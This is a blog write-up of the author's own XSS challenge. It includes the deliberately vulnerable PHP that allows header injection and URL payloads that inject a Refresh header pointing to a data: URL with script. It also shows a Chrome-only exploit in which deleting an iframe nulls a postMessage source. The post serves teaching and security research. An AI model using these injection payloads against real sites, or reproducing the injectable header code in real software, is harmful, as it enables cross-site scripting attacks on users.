Friday, March 27, 2020

XSS Challenge Solution - Refresh header


I used my available time to read NoScripts code and discovered an interesting check, which handles a header I either forgot about or never learned. As many people are at home now anyway, I decided to build a short challenge based on that header. This blogpost is about the relevant header, additional information about the header's behavior, the solution and an unintended solution.
In case you only want to see the solution jump to the end of this blogpost.

Challenge Setup


The code fetches the string specified in the URLs hash and passes it to chall.php. The goal was to send a postMessage request originating from the iframe. Additionally, I added X-Frame-Options: DENY, so it is not possible to frame start.php and use JavaScript to change the location of the created frame. This would have allowed to bypass the challenge completely.

File: start.php
<?php
header("X-Frame-Options: DENY");
?>
<!DOCTYPE html>
<body>
<script>
window.addEventListener("message",function(e){
 if (e.source == window.frames[0]){
  alert("YOU WIN!");
 }else

 {
  alert("Nope but nice try");
 }
});
 var challenge = location.hash.substr(1);
 if (challenge.length >0 )
 {
  var hello_user = document.createElement("iframe");
  hello_user.src=`chall.php?header=${challenge}`;
  document.body.appendChild(hello_user);
 }
</script>
<h2>
Welcome to my challenge
</h2>
</body>

Chall.php accepts the HTTP GET variable header. I hacked together a snippet, which parsed the variable and allowed to inject one additional header in the HTTP response.
Additionally I ensured that the HTTP response code is always 201 Created.
This ensured that in case eg. Location: http://example.com is injected, the browser won't load this origin as the response code is 201 Created and therefore the header is ignored.
Note: I used 201 Created as this response code is not overwritten by PHPs Location: header implementation.

File: chall.php
<?php
/*
 * FAKE HTTP header response injection
*/
error_reporting(0);
$headers = preg_replace("/[\r\n]+/","\n",$_GET['header']);
$headers = explode("\n",$headers);
header("X-User: name-" . $headers[0]);
http_response_code(201);
header($headers[1]);
?>
<h1>Hello :)</h1>



The solution - Refresh header


To summarize: the setup required the usage of postMessage via the created iframe, which allowed to inject one additional response header. It is not possible to just inject a Location: header to load an attacker controlled page because of the HTTP/1.1 201 Created response as browsers will ignore the Location header.
The solution is to inject the Refresh: header, which is identical to the meta http-equiv="refresh" redirect many know about. This header is supported in all modern browsers and even works in HTTP/1.1 201 Created responses. The syntax looks like this:

Refresh: <time>; url=<theDomain>

As this header allows to redirect to any page, which is loaded in the frame, it is straightforward to send a postMessage to the top page. My intended solution looked like this:
http://insert-script.com/challenges/challenge1/start.php#abc%0aRefresh:%200;%20URL=data:text/html,%3Cscript%3Etop.postMessage(%22%22,%22*%22)%3C/script%3E

This triggers the following HTTP response in chall.php:
x-user: name-abc
refresh: 0; URL=data:text/html,<script>top.postMessage("","*")</script>

This will immediately load the HTML structure specified via the data: protocol handler in the iframe, which will send a message to start.php therefore solving the challenge. In case you want to learn more about the Refresh: header - I suggest reading the blogpost of otsukare back in 2015: http://www.otsukare.info/2015/03/26/refresh-http-header

Additional notes about the solution


Many submitted solutions redirected the iframe to a custom domain. But it is possible to use the data: protocol handler, as the Refresh: header is injected in the context of an iframe. It is not possible to redirect to the data: protocol handler in top level navigations, similar to the Location: header.

One additional discovery was the possibility to shorten the solution. I assumed it is necessary to specify the url= part in the Refresh header. But this is not necessary:
start.php#abc%0aRefresh: 0;data:text/html,<script>top.postMessage("","*")</script>

You can see it in action via the meta tag as well:
https://jsfiddle.net/wL3kun9z/


The unintended solution - Chrome/Safari only


Let's have a look at the winning condition again:
window.addEventListener("message",function(e){
if (e.source == window.frames[0]){
alert("YOU WIN!");
}
[...]
var challenge = location.hash.substr(1);
if (challenge.length >0 ) {
/* actually do stuff */
When start.php is opened without any data in location hash it does not create an iframe. As no frame is created window.frames[0] is returning undefined. I assumed this is not a problem as the source property of a postmessage event will never be undefined or null (Note: null == undefined // true).

Michał Bentkowski (SecurityMB) discovered that it is possible in Google Chrome to use postMessage in such a way that the source property is set to null. As null == undefined returns true, the winning condition is fulfilled, and the alert is shown.
His solution requires a click as the challenge sites needs to be opened in a new window (script triggered popups are blocked by the standard popup blocker).
It is possible to test the solution: https://jsfiddle.net/7dfmr4ca/

<!DOCTYPE html>
<a href=javascript:solve()>CLICK ME<br>
  <span id=ifr>
    <iframe></iframe>
  </span>

<script>
function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}
  
async function solve() {
  let win = window.win = window.open('http://insert-script.com/challenges/challenge1/start.php', '_blank', 'width=500,height=500');
  
  await sleep(2000);
  
  // Send postMessage from the iframe
  frames[0].eval("parent.win.postMessage(0xdeadbeef,'*')");
  
  // Delete the old iframe
  // now e.source is null
  ifr.innerHTML = 'aaabcd';
}
     
</script>

Lets check the solution step by step:
1) The HTML contains an empty iframe, which is used later on.
2) As soon as the function solve() is triggered, the challenge is opened in a new window and the code will wait for 2 seconds. This is solely to ensure that the challenge site is properly loaded.
3) frames[0].eval is used to send a postMessage message originating from the iframe to the challenge popup window.
4) Immediately afterwards ifr.innerHTML = 'aaabcd' is used to destroy the iframe.
5) The popup receives the postMessage event but as the source (eg the iframe) is already destroyed, the events source is set to null. Therefore the winning condition is fulfilled.

This does not work in Mozilla Firefox as it correctly sets the events source property despite the origin, the iframe, being already destroyed.

I want to thank everybody who participated in the challenge. I learned a lot and therefore I can only suggest everybody to create this kind of challenges as well.
The solutions people discover are really interesting :)